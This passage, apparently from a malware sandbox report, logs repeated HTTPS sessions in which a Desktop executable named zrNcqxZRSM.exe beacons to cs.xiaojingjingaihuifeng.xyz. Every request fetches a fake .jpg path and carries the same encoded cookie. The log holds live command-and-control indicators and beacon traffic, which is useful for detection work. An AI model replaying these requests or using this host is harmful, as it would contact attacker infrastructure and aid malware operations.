2025-01-10 14:13:47 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:47 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pB%2F4o6x9y3QM%2F0u07plrDgV0ScIvhdniFqxkFpVPdEoilKp9r4hnYBif91OG9eCXOiVoGwKi5%2FZvZ1PzByq9KH7c6GLtFn3ueAWricY9xZeYcAAeKrIVzV3nCGA5FxEs%2BLW8h8IgEUmDZGAAeEAF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45093bfb4235-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1692&rtt_var=663&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1616832&cwnd=248&unsent_bytes=0&cid=fa9f62247474dbe2&ts=629&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49945	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:47 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:48 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:48 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y2gb98zYCOztcUSVDIApIP86mC8krs8txMe%2B2861Ht3SiJvwXlPvazJiSkKIKVE7P%2BjL1uvGqUPFbzn4I0YeYJEs8sduZFJRz9HLKhl8%2BV1jMhvPMv1v7WxEN%2FOyH5FRQdL4lqNWt0hU%2FMdRt9Y2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd450f89668c1e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2041&min_rtt=2035&rtt_var=775&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1401151&cwnd=212&unsent_bytes=0&cid=14586cc5d5eabeed&ts=449&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49954	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:49 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:49 UTC	756	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:49 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L7vYBCbmn5VwDyyS8eofMXIS00wTsYvrFGzBw4CrY7hm4EfYrQi0oFNhRUzN9ocEdVKy%2FGDP2HCOmS7rKgUrqm5O39ssvY4c7PJD0WHhLEApje1Wi3njY1SST%2B1%2FqNsCKC2m%2FmGySrkUXDPbMBMf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4515fdfe19b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2521&min_rtt=1938&rtt_var=1143&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1506707&cwnd=149&unsent_bytes=0&cid=5977848b8d162237&ts=432&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49962	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:50 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:50 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:50 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F4qR%2FJeGlO7bZhHy9NCdVb197%2B5BS2JEwNcuaeFMbIfOJBlAcp4bkAfgJEXw7Nn%2FA04u8NYmZxale6n%2Fl%2FP6r5UoPTah0VDgKMqMgIcyFuUct8rpaOdc17V%2ByUmzA2uxJ7rx7GrOVo2HRszfsnIn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd451c3dc5422f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2560&min_rtt=2535&rtt_var=968&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1151873&cwnd=137&unsent_bytes=0&cid=9bd87b81e182ed70&ts=443&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49968	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:51 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:51 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:51 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PgqPWlFmkF7oMyI0IVgoOb4HXIXSFwkNWHqUuTW5oVbSRabmgVQO4WdZhjSMRawaEN9eTdwmJsqCJaQxY6%2FWQnK%2Bd%2FJjxELOaydNcjlpvFRIM%2BsTy75kyzyVGl12kxQPZNkzQz3foWlA9N7lTLWO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd452358120f75-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1575&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1789215&cwnd=221&unsent_bytes=0&cid=4b2b917e76b7445d&ts=420&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49979	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:52 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:52 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:52 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oCm9TxGDfZ6xu1fwNz3zBVGfkFknDole4k8onS2Fz0TqY%2FUUDd%2BtfIqGqRuZWKTr9VE9hLzslj70tFuAnaR2MZFSk%2BX1IGh%2BYcIVVggG0P5QKJcnW%2FYCQJbY%2F56xaVPwWbvnbPJyPXGaBg7Fz9e%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd452a293a422e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2306&min_rtt=2246&rtt_var=885&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1300089&cwnd=252&unsent_bytes=0&cid=af298d3bd01dc0be&ts=428&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49986	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:53 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:53 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:53 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i5G5dWLzuRp8ZtB9ff%2FqxPGGaqH1VSYTXLf8Ni95MnZ%2BbSIklfCzFAI6%2Fk063hneMnlMGYUkIaiUBp2SDx0grVmx44yTSAPVFzwZzI7b06mVIwl4tRdxznD7ar7%2F4jR6E3WE74XV6dOGCuiaoofK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd453079d90f8c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1477&min_rtt=1472&rtt_var=562&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1927392&cwnd=212&unsent_bytes=0&cid=e03a582055954942&ts=440&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49992	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:54 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:54 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:54 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DAfcCWzRl3n06z33sP%2F9%2B8kOa7aQlTEvwEiWS%2FU4J7aD8ZctMSkRgo0Wnj1d9S02MljBKgoE%2FFdbbpjYQue1%2BAtL8t4oBRpr9nmuRrcyEsedmlTfvkEvpztZcgqiUIAfxnlpcIYWDcmJGIpz19g1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4536dabc5e79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1846&min_rtt=1703&rtt_var=926&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1023125&cwnd=225&unsent_bytes=0&cid=3092e6ae62a8aac2&ts=431&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49998	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:55 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:55 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:55 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Li%2FMGkOduMNepSqVVeHr2esBrFmPlW8q2nR5ZWoe%2FGs%2FC2WbiQqah91njUoBNdMQxlbVjBgGoHXRx1JJBzaWjMfTRbCJvLD9qr416CN2AqjVeLjN4DR9Ryy9C0jUdLxXKD4x7z6qwRyncvDh6%2B1U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd453d8a744262-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1783&min_rtt=1774&rtt_var=672&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1645997&cwnd=190&unsent_bytes=0&cid=3966d3e2be856a92&ts=435&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50009	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:56 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:56 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:56 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AoRa1wL3weV2Mw7ECyEM%2Fx%2B9QKIGbpHOvurzo5243fT11SB%2Bp42kXnASuu0zmpNV9OsxkoLxXwp3zG3ySrp4%2B3nJBAnooa7ZGfXnLkUzLSoNWowIzQp6ekoWC8H3oMX9eZtOf8%2BxtrvXk8QVjD%2Fl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4543cf4a8ccc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2018&min_rtt=2013&rtt_var=758&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1450571&cwnd=208&unsent_bytes=0&cid=108f5341fe3685f0&ts=425&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50015	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:57 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:57 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:57 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BiVyVg0K9uyMOWkzgqXvkKWHCMJ9Dxbs1%2BrMs1IrZIFVlt%2FJBKbnYoLB%2FfKuI5WDhFljxkJNEiQZEhTd0WkgkCTPCQubjDWfz6d778oFsB7pKwEKtODTjG%2FA02pBNDRNP9U0cD73l1cnpi3sKpuk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd454a2a7f0ca0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1563&rtt_var=598&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1810291&cwnd=239&unsent_bytes=0&cid=d06df161ad35c3d8&ts=415&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50021	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:58 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:58 UTC	749	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:58 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FQ1rrgZHEJXwrXmshvEv8sEHaSHb0O8tcOeQECCGZZkJUZQJc1jP9xuDNdsS4CBYGPkcCdZc%2Bg7dSwuY8YiXUIRSzihMopEyJxVUycNgUaNFXDDupn6GfZmr4RyyUcMw0Fv8aYbEtW3E3K9uyGkz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45504c3678d6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1973&min_rtt=1967&rtt_var=750&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1446260&cwnd=147&unsent_bytes=0&cid=cb5546e1a69a8f4c&ts=394&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50026	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:59 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:59 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:59 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AyovQScbSe3cUgOwiIsiuJv9QJ%2BLouKIoYA4Fg0FCENpUf4o8cR6IezSvpyhRk4RVAEUE5MuWLasZgzurVRduCPB%2FFl1uTxxtZI%2FyvqVBD81xy6lQQHiFm1GBqziOovkFd5Mjs9RznsH%2BKMwQ%2FyV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45568cff42f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1643&min_rtt=1629&rtt_var=621&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1792510&cwnd=233&unsent_bytes=0&cid=1ba3e4c07ae2159c&ts=430&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50027	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:00 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:00 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:00 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cmTyaBbfGu9PjFanEMit71D7BIrrXpNYHS5eZLdLMXJktbt3cz8J2S%2FBVnV%2BtNtycHvdLBUhdgVFFx%2FeDNIAw5UBRbQsen%2B5LuBrCIFkfk1kaWKK3I%2FokHOA9NdH1pcKL%2BrK8Wp8h24MVkFvR56C"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd455cfdd74313-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1632&min_rtt=1631&rtt_var=615&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1776155&cwnd=252&unsent_bytes=0&cid=970ab0620f108afd&ts=420&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50028	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:01 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:01 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:01 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6alZ3Xk0oLVQba%2F%2B8LMFma7kY4XWh1gNmwMsevFMOIPjb0BFUnkmrudh5fJXbfDmcAKippn4dQVlCXyS9VlvHQFTa2juejn3faGBql%2Feh68xcijejtSm5aGPT14Hjms%2FBSLIzA9a0KBJRqwa0uqW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45631cf343b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1559&min_rtt=1542&rtt_var=612&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1739130&cwnd=238&unsent_bytes=0&cid=65cff76ba1cf774f&ts=439&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50030	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:02 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
